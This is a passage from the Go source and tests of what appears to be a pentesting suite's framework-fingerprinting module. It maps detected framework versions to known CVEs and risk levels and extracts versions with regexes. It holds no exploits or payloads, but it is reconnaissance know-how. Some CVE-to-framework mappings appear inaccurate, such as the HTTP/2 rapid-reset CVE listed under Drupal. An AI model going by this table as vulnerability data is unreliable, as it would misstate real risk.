Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
|
||||
},
|
||||
},
|
||||
"Django": {
|
||||
{
|
||||
CVE: "CVE-2023-36053",
|
||||
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.2.3",
|
||||
Severity: "high",
|
||||
Description: "Potential ReDoS in EmailValidator and URLValidator",
|
||||
Recommendations: []string{"Update to Django 4.2.3 or later"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2023-31047",
|
||||
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.1.9",
|
||||
Severity: "medium",
|
||||
Description: "File upload validation bypass",
|
||||
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
|
||||
},
|
||||
},
|
||||
"WordPress": {
|
||||
{
|
||||
CVE: "CVE-2023-2745",
|
||||
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
|
||||
FixedVersion: "6.2",
|
||||
Severity: "medium",
|
||||
Description: "Directory traversal vulnerability",
|
||||
Recommendations: []string{"Update to WordPress 6.2 or later"},
|
||||
},
|
||||
},
|
||||
"Drupal": {
|
||||
{
|
||||
CVE: "CVE-2023-44487",
|
||||
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
|
||||
FixedVersion: "10.1.4",
|
||||
Severity: "high",
|
||||
Description: "HTTP/2 rapid reset attack (DoS)",
|
||||
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
|
||||
},
|
||||
},
|
||||
"Next.js": {
|
||||
{
|
||||
CVE: "CVE-2023-46298",
|
||||
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
|
||||
FixedVersion: "13.5.0",
|
||||
Severity: "medium",
|
||||
Description: "Server-side request forgery vulnerability",
|
||||
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
|
||||
},
|
||||
},
|
||||
"Angular": {
|
||||
{
|
||||
CVE: "CVE-2023-26117",
|
||||
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
|
||||
FixedVersion: "15.2.0",
|
||||
Severity: "medium",
|
||||
Description: "Regular expression denial of service",
|
||||
Recommendations: []string{"Update to Angular 15.2.0 or later"},
|
||||
},
|
||||
},
|
||||
"Vue.js": {
|
||||
{
|
||||
CVE: "CVE-2024-5987",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.7.16",
|
||||
Severity: "medium",
|
||||
Description: "XSS vulnerability in certain configurations",
|
||||
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
|
||||
},
|
||||
},
|
||||
"Express.js": {
|
||||
{
|
||||
CVE: "CVE-2024-29041",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
|
||||
FixedVersion: "4.19.2",
|
||||
Severity: "medium",
|
||||
Description: "Open redirect vulnerability",
|
||||
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
|
||||
},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{
|
||||
CVE: "CVE-2023-22795",
|
||||
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
|
||||
FixedVersion: "7.0.4.1",
|
||||
Severity: "high",
|
||||
Description: "ReDoS vulnerability in Action Dispatch",
|
||||
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
|
||||
},
|
||||
},
|
||||
"Spring": {
|
||||
{
|
||||
CVE: "CVE-2022-22965",
|
||||
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
|
||||
FixedVersion: "5.3.18",
|
||||
Severity: "critical",
|
||||
Description: "Spring4Shell RCE vulnerability",
|
||||
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
|
||||
},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{
|
||||
CVE: "CVE-2022-22963",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.6.6",
|
||||
Severity: "critical",
|
||||
Description: "RCE via Spring Cloud Function",
|
||||
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
|
||||
},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{
|
||||
CVE: "CVE-2023-36899",
|
||||
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
|
||||
FixedVersion: "latest security patches",
|
||||
Severity: "high",
|
||||
Description: "Elevation of privilege vulnerability",
|
||||
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
|
||||
},
|
||||
},
|
||||
"Joomla": {
|
||||
{
|
||||
CVE: "CVE-2023-23752",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
|
||||
FixedVersion: "4.2.8",
|
||||
Severity: "critical",
|
||||
Description: "Improper access check allowing unauthorized access to webservice endpoints",
|
||||
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
|
||||
},
|
||||
},
|
||||
"Magento": {
|
||||
{
|
||||
CVE: "CVE-2022-24086",
|
||||
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
|
||||
FixedVersion: "2.4.3-p1",
|
||||
Severity: "critical",
|
||||
Description: "Improper input validation leading to arbitrary code execution",
|
||||
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
func getVulnerabilities(framework, version string) ([]string, []string) {
|
||||
entries, exists := knownCVEs[framework]
|
||||
if !exists {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var cves []string
|
||||
var recommendations []string
|
||||
seenRecs := make(map[string]bool)
|
||||
|
||||
for _, entry := range entries {
|
||||
for _, affectedVer := range entry.AffectedVersions {
|
||||
if version == affectedVer || strings.HasPrefix(version, affectedVer) {
|
||||
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
|
||||
for _, rec := range entry.Recommendations {
|
||||
if !seenRecs[rec] {
|
||||
recommendations = append(recommendations, rec)
|
||||
seenRecs[rec] = true
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cves, recommendations
|
||||
}
|
||||
|
||||
// getRiskLevel determines overall risk based on detected CVEs
|
||||
func getRiskLevel(cves []string) string {
|
||||
if len(cves) == 0 {
|
||||
return "low"
|
||||
}
|
||||
for _, cve := range cves {
|
||||
if strings.Contains(cve, "critical") {
|
||||
return "critical"
|
||||
}
|
||||
}
|
||||
for _, cve := range cves {
|
||||
if strings.Contains(cve, "high") {
|
||||
return "high"
|
||||
}
|
||||
}
|
||||
return "medium"
|
||||
}
|
||||
|
||||
// VersionMatch represents a version detection result with confidence
|
||||
type VersionMatch struct {
|
||||
Version string
|
||||
Confidence float32
|
||||
Source string // where the version was found
|
||||
}
|
||||
|
||||
// isValidVersion checks if a version string looks reasonable
|
||||
func isValidVersion(version string) bool {
|
||||
if version == "" || version == "unknown" {
|
||||
return false
|
||||
}
|
||||
// parse major version and check if reasonable (< 100)
|
||||
parts := strings.Split(version, ".")
|
||||
if len(parts) < 2 {
|
||||
return false
|
||||
}
|
||||
var major int
|
||||
_, err := fmt.Sscanf(parts[0], "%d", &major)
|
||||
if err != nil || major >= 100 || major < 0 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func extractVersion(body string, framework string) string {
|
||||
match := extractVersionWithConfidence(body, framework)
|
||||
return match.Version
|
||||
}
|
||||
|
||||
func extractVersionWithConfidence(body string, framework string) VersionMatch {
|
||||
versionPatterns := map[string][]struct {
|
||||
pattern string
|
||||
confidence float32
|
||||
source string
|
||||
}{
|
||||
"Laravel": {
|
||||
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
|
||||
},
|
||||
"Django": {
|
||||
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
|
||||
},
|
||||
"Express.js": {
|
||||
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
|
||||
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
|
||||
},
|
||||
"Spring": {
|
||||
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
|
||||
},
|
||||
"Flask": {
|
||||
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
|
||||
},
|
||||
"Next.js": {
|
||||
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Vue.js": {
|
||||
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Angular": {
|
||||
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
|
||||
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"React": {
|
||||
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Svelte": {
|
||||
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"WordPress": {
|
||||
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Drupal": {
|
||||
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
|
||||
},
|
||||
"Joomla": {
|
||||
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
},
|
||||
"Magento": {
|
||||
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Shopify": {
|
||||
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
|
||||
},
|
||||
"Symfony": {
|
||||
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"FastAPI": {
|
||||
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Gin": {
|
||||
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Phoenix": {
|
||||
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ember.js": {
|
||||
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Meteor": {
|
||||
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ghost": {
|
||||
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
}
|
||||
|
||||
patterns, exists := versionPatterns[framework]
|
||||
if !exists {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
|
||||
var bestMatch VersionMatch
|
||||
for _, p := range patterns {
|
||||
re := regexp.MustCompile(p.pattern)
|
||||
matches := re.FindStringSubmatch(body)
|
||||
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
|
||||
candidate := matches[1]
|
||||
// validate version looks reasonable
|
||||
if isValidVersion(candidate) {
|
||||
bestMatch = VersionMatch{
|
||||
Version: candidate,
|
||||
Confidence: p.confidence,
|
||||
Source: p.source,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if bestMatch.Version == "" {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
return bestMatch
|
||||
}
|
||||
@@ -0,0 +1,538 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestContainsHeader_HeaderName(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"X-Powered-By": []string{"Express"},
|
||||
"Content-Type": []string{"text/html"},
|
||||
}
|
||||
|
||||
if !containsHeader(headers, "x-powered-by") {
|
||||
t.Error("expected to find x-powered-by in header names")
|
||||
}
|
||||
if !containsHeader(headers, "X-POWERED-BY") {
|
||||
t.Error("expected case-insensitive match for header names")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainsHeader_HeaderValue(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"X-Powered-By": []string{"Express"},
|
||||
"Set-Cookie": []string{"laravel_session=abc123"},
|
||||
}
|
||||
|
||||
if !containsHeader(headers, "express") {
|
||||
t.Error("expected to find 'express' in header values")
|
||||
}
|
||||
if !containsHeader(headers, "laravel_session") {
|
||||
t.Error("expected to find 'laravel_session' in header values")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainsHeader_NotFound(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"Content-Type": []string{"text/html"},
|
||||
}
|
||||
|
||||
if containsHeader(headers, "django") {
|
||||
t.Error("expected not to find 'django' in headers")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Laravel(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Laravel 8.0.0", "8.0.0"},
|
||||
{"Laravel v9.52.1", "9.52.1"},
|
||||
{"Laravel 10.0", "10.0"},
|
||||
{"no version here", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Laravel")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Django(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Django 4.2.0", "4.2.0"},
|
||||
{"Django/3.2.1", "3.2.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Django")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_NextJS(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Next.js 13.4.0", "13.4.0"},
|
||||
{"Next.js/14.0.1", "14.0.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Next.js")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NextJS(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Test</title></head>
|
||||
<body>
|
||||
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
|
||||
<script src="/_next/static/chunks/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Next.js" {
|
||||
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
|
||||
}
|
||||
if result.Confidence <= 0 {
|
||||
t.Error("expected positive confidence")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Express(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Powered-By", "Express")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Express.js" {
|
||||
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_WordPress(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
|
||||
<script src="/wp-includes/js/jquery.js"></script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "WordPress" {
|
||||
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_ASPNET(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-AspNet-Version", "4.0.30319")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<input type="hidden" name="__VIEWSTATE" value="abc123">
|
||||
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "ASP.NET" {
|
||||
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NoMatch(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
// result can be nil or have low confidence for unrecognized frameworks
|
||||
if result != nil && result.Confidence > 0.6 {
|
||||
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Laravel(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Laravel", "8.0.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Laravel 8.0.0")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Laravel 8.0.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_NoMatch(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Unknown", "1.0.0")
|
||||
if len(cves) != 0 {
|
||||
t.Error("expected no CVEs for unknown framework")
|
||||
}
|
||||
if len(suggestions) != 0 {
|
||||
t.Error("expected no suggestions for unknown framework")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameworkResult_Fields(t *testing.T) {
|
||||
result := FrameworkResult{
|
||||
Name: "Laravel",
|
||||
Version: "9.0.0",
|
||||
Confidence: 0.85,
|
||||
VersionConfidence: 0.9,
|
||||
CVEs: []string{"CVE-2021-3129"},
|
||||
Suggestions: []string{"Update to latest version"},
|
||||
RiskLevel: "critical",
|
||||
}
|
||||
|
||||
if result.Name != "Laravel" {
|
||||
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
|
||||
}
|
||||
if result.Version != "9.0.0" {
|
||||
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
|
||||
}
|
||||
if result.Confidence != 0.85 {
|
||||
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
|
||||
}
|
||||
if result.VersionConfidence != 0.9 {
|
||||
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
|
||||
}
|
||||
if len(result.CVEs) != 1 {
|
||||
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
|
||||
}
|
||||
if len(result.Suggestions) != 1 {
|
||||
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
|
||||
}
|
||||
if result.RiskLevel != "critical" {
|
||||
t.Errorf("expected RiskLevel 'critical', got '%s'", result.RiskLevel)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersionWithConfidence(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
framework string
|
||||
wantVer string
|
||||
minConf float32
|
||||
}{
|
||||
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
|
||||
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
|
||||
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
|
||||
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
|
||||
{"No version", "Hello World", "Laravel", "unknown", 0},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := extractVersionWithConfidence(tt.body, tt.framework)
|
||||
if result.Version != tt.wantVer {
|
||||
t.Errorf("extractVersionWithConfidence() version = %q, want %q", result.Version, tt.wantVer)
|
||||
}
|
||||
if result.Confidence < tt.minConf {
|
||||
t.Errorf("extractVersionWithConfidence() confidence = %f, want >= %f", result.Confidence, tt.minConf)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRiskLevel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cves []string
|
||||
expected string
|
||||
}{
|
||||
{"no CVEs", []string{}, "low"},
|
||||
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
|
||||
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
|
||||
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
|
||||
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getRiskLevel(tt.cves)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getRiskLevel() = %q, want %q", result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Django(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Django", "3.2.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Django 3.2.0")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Django 3.2.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Spring(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Spring", "5.3.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Spring 5.3.0 (Spring4Shell)")
|
||||
}
|
||||
found := false
|
||||
for _, cve := range cves {
|
||||
if cve == "CVE-2022-22965 (critical)" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("expected Spring4Shell CVE-2022-22965")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Spring 5.3.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Vue(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Vue App</title></head>
|
||||
<body>
|
||||
<div id="app" data-v-12345>
|
||||
<div v-cloak>Loading...</div>
|
||||
</div>
|
||||
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Vue.js" {
|
||||
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
